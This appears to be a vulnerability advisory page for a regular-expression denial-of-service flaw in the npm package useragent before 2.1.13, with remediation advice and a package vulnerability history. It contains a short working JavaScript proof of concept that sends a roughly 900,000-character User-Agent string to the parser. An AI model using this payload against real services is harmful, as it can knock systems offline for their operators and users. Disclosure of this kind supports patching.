ReDoS via long UserAgent header in useragent
Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.
Proof of Concept
var useragent = require('useragent');
var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));Recommendation
Update to version 2.1.13 or later.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | useragent | < 2.1.13 | 2.1.13 |
References
- Weakness (CWE)
CWE-400- Platform
- npm
- Package
useragent- Disclosed
- 24.07.2018
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-pjmx-9xr3-82qr - CC BY 4.0
Vulnerability history: useragent
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 07.2018 10.2024
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 1
Disclosures per year
- 2018: 1
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 0
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ReDoS via long UserAgent header in useragent this entry
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